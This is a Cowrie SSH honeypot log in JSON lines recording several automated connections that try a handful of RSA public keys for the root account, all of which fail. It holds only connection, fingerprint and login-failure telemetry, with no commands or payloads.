{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:09.082508Z","src_ip":"27.74.248.52","session":"6381669274f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.164.240","src_port":55432,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0dd1a9b53c0","protocol":"ssh","message":"New connection: 107.6.164.240:55432 (10.17.0.5:22) [session: c0dd1a9b53c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:18.865540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:18.872525Z","src_ip":"107.6.164.240","session":"c0dd1a9b53c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:18.963757Z","src_ip":"107.6.164.240","session":"c0dd1a9b53c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:59:a2:fa:c2:6e:74:6e:aa:f2:e9:95:7a:78:a8:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWyP4osKyvuTnUj9TS3AKBczgNkx186Au5NfMzrfAQpGxTu00dFW6w61+X1yUDL7QB+5tjWu4BHQxC9BwJ9qHFXs2ZANAMvBuuKdKO6K4b5fDOUQLxC5Gi9wGaAYqr5mmwYROqqwEffHCDTKrmOHkyO5Yw0soZ/jDVUOYsIorFoQEz2ikXPv2/EgHyyUViBC46/K6TIrXQDv3EcizdYuZX5IOWLKtjfxdp1c9moD7YBj+apl9wBgxctpx5cOUTrKGMSJb5aHhOLeYmVE+YhAaosuPfpZP/PISKqBIHFuUcVdrjX3e4ZI7GFeUcqeWmRZqIgW+x6QzJKHgrK57lwwJh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:59:a2:fa:c2:6e:74:6e:aa:f2:e9:95:7a:78:a8:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:19.381267Z","src_ip":"107.6.164.240","session":"c0dd1a9b53c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:59:a2:fa:c2:6e:74:6e:aa:f2:e9:95:7a:78:a8:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWyP4osKyvuTnUj9TS3AKBczgNkx186Au5NfMzrfAQpGxTu00dFW6w61+X1yUDL7QB+5tjWu4BHQxC9BwJ9qHFXs2ZANAMvBuuKdKO6K4b5fDOUQLxC5Gi9wGaAYqr5mmwYROqqwEffHCDTKrmOHkyO5Yw0soZ/jDVUOYsIorFoQEz2ikXPv2/EgHyyUViBC46/K6TIrXQDv3EcizdYuZX5IOWLKtjfxdp1c9moD7YBj+apl9wBgxctpx5cOUTrKGMSJb5aHhOLeYmVE+YhAaosuPfpZP/PISKqBIHFuUcVdrjX3e4ZI7GFeUcqeWmRZqIgW+x6QzJKHgrK57lwwJh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:19.385412Z","src_ip":"107.6.164.240","session":"c0dd1a9b53c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:c3:4f:02:2c:7b:4e:16:4f:36:e2:4a:5d:c5:4b:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWRaYKA6YCnEqbsQD38k11YxZ6dvgxN7ajf3lkLYDSRs3xSv1IyoSCgI29jbdybuiHKWElBjk/jvdZruSQEPltbLZRJA7Kpr5sKXclT8+AFq4gXPBWyxxyJ/WMckxR8QBaFK2IWzOtVl90yYs8KbYjJdfySV6IIkJEMaZ1KmlmWYCMOBy3Ef8smAnEP5S0GbEzH/2rh8jTcVsEMCw0gyvmzfCRbr2YH01HOaZsmJZRFOWLAjDSdCy9L6QpDoOPVA6VDl8LIgxeFlC5ABbUBf0Y5ov3DNeCYjSyLmXaXzYlvYwdOr/8l12AZMye7rQ8SwtmlWIpMcV8pTyXKP78MFpx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:c3:4f:02:2c:7b:4e:16:4f:36:e2:4a:5d:c5:4b:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:19.475102Z","src_ip":"107.6.164.240","session":"c0dd1a9b53c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:c3:4f:02:2c:7b:4e:16:4f:36:e2:4a:5d:c5:4b:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWRaYKA6YCnEqbsQD38k11YxZ6dvgxN7ajf3lkLYDSRs3xSv1IyoSCgI29jbdybuiHKWElBjk/jvdZruSQEPltbLZRJA7Kpr5sKXclT8+AFq4gXPBWyxxyJ/WMckxR8QBaFK2IWzOtVl90yYs8KbYjJdfySV6IIkJEMaZ1KmlmWYCMOBy3Ef8smAnEP5S0GbEzH/2rh8jTcVsEMCw0gyvmzfCRbr2YH01HOaZsmJZRFOWLAjDSdCy9L6QpDoOPVA6VDl8LIgxeFlC5ABbUBf0Y5ov3DNeCYjSyLmXaXzYlvYwdOr/8l12AZMye7rQ8SwtmlWIpMcV8pTyXKP78MFpx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:19.478809Z","src_ip":"107.6.164.240","session":"c0dd1a9b53c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:be:0e:3d:89:f9:05:f7:ba:22:d8:f1:91:42:94:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3T4OT2icb+q4wzhfN/zsVHlUGOsjNy/A6C3c++b9Jzxgc9UOCIP5RaAlz+ysUUGVRWNZ+t3NRXvryiobkktjJ9jCirW7iMF1dJPab1U6yaoVTk2ciz5/C5neyvdW5dlbsw9ACH+Ao6rgwZLISm7HaAcrQcfoZS8GyB/HTGTUApE04+N/7Ush4sM8sbFwJ+goRbEVoczS6l7x0jr+qkwyONz/553uvvpGlVxEyQNGZxTBSbbh02XKNcWYwYtqMWqFwGUdrs/3KK0d+FqyClCYeSRXR1B2EKp7Ig1RQDKDYiq+3lu5amrgrxPv1BcZwLZPSZx1Uo3HXUQCw7I18ZOwnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:be:0e:3d:89:f9:05:f7:ba:22:d8:f1:91:42:94:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:19.569073Z","src_ip":"107.6.164.240","session":"c0dd1a9b53c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:be:0e:3d:89:f9:05:f7:ba:22:d8:f1:91:42:94:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3T4OT2icb+q4wzhfN/zsVHlUGOsjNy/A6C3c++b9Jzxgc9UOCIP5RaAlz+ysUUGVRWNZ+t3NRXvryiobkktjJ9jCirW7iMF1dJPab1U6yaoVTk2ciz5/C5neyvdW5dlbsw9ACH+Ao6rgwZLISm7HaAcrQcfoZS8GyB/HTGTUApE04+N/7Ush4sM8sbFwJ+goRbEVoczS6l7x0jr+qkwyONz/553uvvpGlVxEyQNGZxTBSbbh02XKNcWYwYtqMWqFwGUdrs/3KK0d+FqyClCYeSRXR1B2EKp7Ig1RQDKDYiq+3lu5amrgrxPv1BcZwLZPSZx1Uo3HXUQCw7I18ZOwnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:19.572836Z","src_ip":"107.6.164.240","session":"c0dd1a9b53c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:68:fa:61:d4:38:09:fc:f6:51:65:db:00:c4:1a:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcPyZC11BurhjowOfunyO4+vsnlNpHnCtxdvfsFSqAJ+3pgOXqdFwxqshy/mWDcWj90BAedDg5zkK+YUmF3uNDdWAZM8iWG88zqs3yy8PX9wlTMOIl2UDF62d1A5s+8ZbAEzhHYXM280PzgiAbEvcFg65QWFs5Nb5WovNb6/ceHJAkoroP3rH8ttXDbt8+AORe+1VvLxx68AMQ3PQjSieOzXgo62UOvtwF700m7DT/OlBszpY34npMpssdi1YI8sIiW/oKvoj17ME2O6vyYI/KvB72qPWcJh3vr8WZwuiJObYJTgmXyQkrBUhUsZUQ1zEMUOU5xt1sMPMXfWRp3Nq/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:68:fa:61:d4:38:09:fc:f6:51:65:db:00:c4:1a:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:19.662488Z","src_ip":"107.6.164.240","session":"c0dd1a9b53c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:68:fa:61:d4:38:09:fc:f6:51:65:db:00:c4:1a:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcPyZC11BurhjowOfunyO4+vsnlNpHnCtxdvfsFSqAJ+3pgOXqdFwxqshy/mWDcWj90BAedDg5zkK+YUmF3uNDdWAZM8iWG88zqs3yy8PX9wlTMOIl2UDF62d1A5s+8ZbAEzhHYXM280PzgiAbEvcFg65QWFs5Nb5WovNb6/ceHJAkoroP3rH8ttXDbt8+AORe+1VvLxx68AMQ3PQjSieOzXgo62UOvtwF700m7DT/OlBszpY34npMpssdi1YI8sIiW/oKvoj17ME2O6vyYI/KvB72qPWcJh3vr8WZwuiJObYJTgmXyQkrBUhUsZUQ1zEMUOU5xt1sMPMXfWRp3Nq/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:19.666842Z","src_ip":"107.6.164.240","session":"c0dd1a9b53c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:51:29:eb:08:78:83:51:b1:c9:2a:94:79:24:5e:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmB7CZNG7O3MCsUZJdWO/QhSrIEr6EdVX70xFaEShdp24TemUogvMA9ct0WwAKHJ+QMwEzDFPGlN1Md1CVk0QjkpG62z9LF4x0GQuVMyq+VgluuLDtg7f/Ue2HQAVtR6heiFRJbCjGY4XGzpGAZ/OWTuU+pfmLAj3zFHdBvAIhBogYAMkE4szsRURzXRCN3F7rmp9Zy5nfx9h312Vy3rKaPKkJuY++ISc3974dVfzM8/woCjhljX9OTyC9Cfmpr2/4dwuPLVIydDJP8uxWOw6gHy5aQW0ayMxVxFQTUR+QuBMQbLrb+lbpxu53eChRd6GEojKKcQLEa4LG/MK4bGkf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:51:29:eb:08:78:83:51:b1:c9:2a:94:79:24:5e:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:19.761625Z","src_ip":"107.6.164.240","session":"c0dd1a9b53c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:51:29:eb:08:78:83:51:b1:c9:2a:94:79:24:5e:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmB7CZNG7O3MCsUZJdWO/QhSrIEr6EdVX70xFaEShdp24TemUogvMA9ct0WwAKHJ+QMwEzDFPGlN1Md1CVk0QjkpG62z9LF4x0GQuVMyq+VgluuLDtg7f/Ue2HQAVtR6heiFRJbCjGY4XGzpGAZ/OWTuU+pfmLAj3zFHdBvAIhBogYAMkE4szsRURzXRCN3F7rmp9Zy5nfx9h312Vy3rKaPKkJuY++ISc3974dVfzM8/woCjhljX9OTyC9Cfmpr2/4dwuPLVIydDJP8uxWOw6gHy5aQW0ayMxVxFQTUR+QuBMQbLrb+lbpxu53eChRd6GEojKKcQLEa4LG/MK4bGkf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:19.765761Z","src_ip":"107.6.164.240","session":"c0dd1a9b53c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:19.854188Z","src_ip":"107.6.164.240","session":"c0dd1a9b53c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.46.134.148","src_port":60616,"dst_ip":"10.17.0.5","dst_port":22,"session":"4947ec58fb26","protocol":"ssh","message":"New connection: 198.46.134.148:60616 (10.17.0.5:22) [session: 4947ec58fb26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:20.468091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:20.473690Z","src_ip":"198.46.134.148","session":"4947ec58fb26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:20.501344Z","src_ip":"198.46.134.148","session":"4947ec58fb26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:59:a2:fa:c2:6e:74:6e:aa:f2:e9:95:7a:78:a8:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWyP4osKyvuTnUj9TS3AKBczgNkx186Au5NfMzrfAQpGxTu00dFW6w61+X1yUDL7QB+5tjWu4BHQxC9BwJ9qHFXs2ZANAMvBuuKdKO6K4b5fDOUQLxC5Gi9wGaAYqr5mmwYROqqwEffHCDTKrmOHkyO5Yw0soZ/jDVUOYsIorFoQEz2ikXPv2/EgHyyUViBC46/K6TIrXQDv3EcizdYuZX5IOWLKtjfxdp1c9moD7YBj+apl9wBgxctpx5cOUTrKGMSJb5aHhOLeYmVE+YhAaosuPfpZP/PISKqBIHFuUcVdrjX3e4ZI7GFeUcqeWmRZqIgW+x6QzJKHgrK57lwwJh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:59:a2:fa:c2:6e:74:6e:aa:f2:e9:95:7a:78:a8:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:20.615963Z","src_ip":"198.46.134.148","session":"4947ec58fb26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:59:a2:fa:c2:6e:74:6e:aa:f2:e9:95:7a:78:a8:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWyP4osKyvuTnUj9TS3AKBczgNkx186Au5NfMzrfAQpGxTu00dFW6w61+X1yUDL7QB+5tjWu4BHQxC9BwJ9qHFXs2ZANAMvBuuKdKO6K4b5fDOUQLxC5Gi9wGaAYqr5mmwYROqqwEffHCDTKrmOHkyO5Yw0soZ/jDVUOYsIorFoQEz2ikXPv2/EgHyyUViBC46/K6TIrXQDv3EcizdYuZX5IOWLKtjfxdp1c9moD7YBj+apl9wBgxctpx5cOUTrKGMSJb5aHhOLeYmVE+YhAaosuPfpZP/PISKqBIHFuUcVdrjX3e4ZI7GFeUcqeWmRZqIgW+x6QzJKHgrK57lwwJh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:20.620783Z","src_ip":"198.46.134.148","session":"4947ec58fb26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:c3:4f:02:2c:7b:4e:16:4f:36:e2:4a:5d:c5:4b:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWRaYKA6YCnEqbsQD38k11YxZ6dvgxN7ajf3lkLYDSRs3xSv1IyoSCgI29jbdybuiHKWElBjk/jvdZruSQEPltbLZRJA7Kpr5sKXclT8+AFq4gXPBWyxxyJ/WMckxR8QBaFK2IWzOtVl90yYs8KbYjJdfySV6IIkJEMaZ1KmlmWYCMOBy3Ef8smAnEP5S0GbEzH/2rh8jTcVsEMCw0gyvmzfCRbr2YH01HOaZsmJZRFOWLAjDSdCy9L6QpDoOPVA6VDl8LIgxeFlC5ABbUBf0Y5ov3DNeCYjSyLmXaXzYlvYwdOr/8l12AZMye7rQ8SwtmlWIpMcV8pTyXKP78MFpx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:c3:4f:02:2c:7b:4e:16:4f:36:e2:4a:5d:c5:4b:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:20.650409Z","src_ip":"198.46.134.148","session":"4947ec58fb26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:c3:4f:02:2c:7b:4e:16:4f:36:e2:4a:5d:c5:4b:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWRaYKA6YCnEqbsQD38k11YxZ6dvgxN7ajf3lkLYDSRs3xSv1IyoSCgI29jbdybuiHKWElBjk/jvdZruSQEPltbLZRJA7Kpr5sKXclT8+AFq4gXPBWyxxyJ/WMckxR8QBaFK2IWzOtVl90yYs8KbYjJdfySV6IIkJEMaZ1KmlmWYCMOBy3Ef8smAnEP5S0GbEzH/2rh8jTcVsEMCw0gyvmzfCRbr2YH01HOaZsmJZRFOWLAjDSdCy9L6QpDoOPVA6VDl8LIgxeFlC5ABbUBf0Y5ov3DNeCYjSyLmXaXzYlvYwdOr/8l12AZMye7rQ8SwtmlWIpMcV8pTyXKP78MFpx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:20.657182Z","src_ip":"198.46.134.148","session":"4947ec58fb26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:be:0e:3d:89:f9:05:f7:ba:22:d8:f1:91:42:94:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3T4OT2icb+q4wzhfN/zsVHlUGOsjNy/A6C3c++b9Jzxgc9UOCIP5RaAlz+ysUUGVRWNZ+t3NRXvryiobkktjJ9jCirW7iMF1dJPab1U6yaoVTk2ciz5/C5neyvdW5dlbsw9ACH+Ao6rgwZLISm7HaAcrQcfoZS8GyB/HTGTUApE04+N/7Ush4sM8sbFwJ+goRbEVoczS6l7x0jr+qkwyONz/553uvvpGlVxEyQNGZxTBSbbh02XKNcWYwYtqMWqFwGUdrs/3KK0d+FqyClCYeSRXR1B2EKp7Ig1RQDKDYiq+3lu5amrgrxPv1BcZwLZPSZx1Uo3HXUQCw7I18ZOwnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:be:0e:3d:89:f9:05:f7:ba:22:d8:f1:91:42:94:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:20.686065Z","src_ip":"198.46.134.148","session":"4947ec58fb26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:be:0e:3d:89:f9:05:f7:ba:22:d8:f1:91:42:94:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3T4OT2icb+q4wzhfN/zsVHlUGOsjNy/A6C3c++b9Jzxgc9UOCIP5RaAlz+ysUUGVRWNZ+t3NRXvryiobkktjJ9jCirW7iMF1dJPab1U6yaoVTk2ciz5/C5neyvdW5dlbsw9ACH+Ao6rgwZLISm7HaAcrQcfoZS8GyB/HTGTUApE04+N/7Ush4sM8sbFwJ+goRbEVoczS6l7x0jr+qkwyONz/553uvvpGlVxEyQNGZxTBSbbh02XKNcWYwYtqMWqFwGUdrs/3KK0d+FqyClCYeSRXR1B2EKp7Ig1RQDKDYiq+3lu5amrgrxPv1BcZwLZPSZx1Uo3HXUQCw7I18ZOwnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:20.690541Z","src_ip":"198.46.134.148","session":"4947ec58fb26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:68:fa:61:d4:38:09:fc:f6:51:65:db:00:c4:1a:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcPyZC11BurhjowOfunyO4+vsnlNpHnCtxdvfsFSqAJ+3pgOXqdFwxqshy/mWDcWj90BAedDg5zkK+YUmF3uNDdWAZM8iWG88zqs3yy8PX9wlTMOIl2UDF62d1A5s+8ZbAEzhHYXM280PzgiAbEvcFg65QWFs5Nb5WovNb6/ceHJAkoroP3rH8ttXDbt8+AORe+1VvLxx68AMQ3PQjSieOzXgo62UOvtwF700m7DT/OlBszpY34npMpssdi1YI8sIiW/oKvoj17ME2O6vyYI/KvB72qPWcJh3vr8WZwuiJObYJTgmXyQkrBUhUsZUQ1zEMUOU5xt1sMPMXfWRp3Nq/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:68:fa:61:d4:38:09:fc:f6:51:65:db:00:c4:1a:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:20.719457Z","src_ip":"198.46.134.148","session":"4947ec58fb26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:68:fa:61:d4:38:09:fc:f6:51:65:db:00:c4:1a:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcPyZC11BurhjowOfunyO4+vsnlNpHnCtxdvfsFSqAJ+3pgOXqdFwxqshy/mWDcWj90BAedDg5zkK+YUmF3uNDdWAZM8iWG88zqs3yy8PX9wlTMOIl2UDF62d1A5s+8ZbAEzhHYXM280PzgiAbEvcFg65QWFs5Nb5WovNb6/ceHJAkoroP3rH8ttXDbt8+AORe+1VvLxx68AMQ3PQjSieOzXgo62UOvtwF700m7DT/OlBszpY34npMpssdi1YI8sIiW/oKvoj17ME2O6vyYI/KvB72qPWcJh3vr8WZwuiJObYJTgmXyQkrBUhUsZUQ1zEMUOU5xt1sMPMXfWRp3Nq/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:20.723580Z","src_ip":"198.46.134.148","session":"4947ec58fb26","protocol":"ssh"}
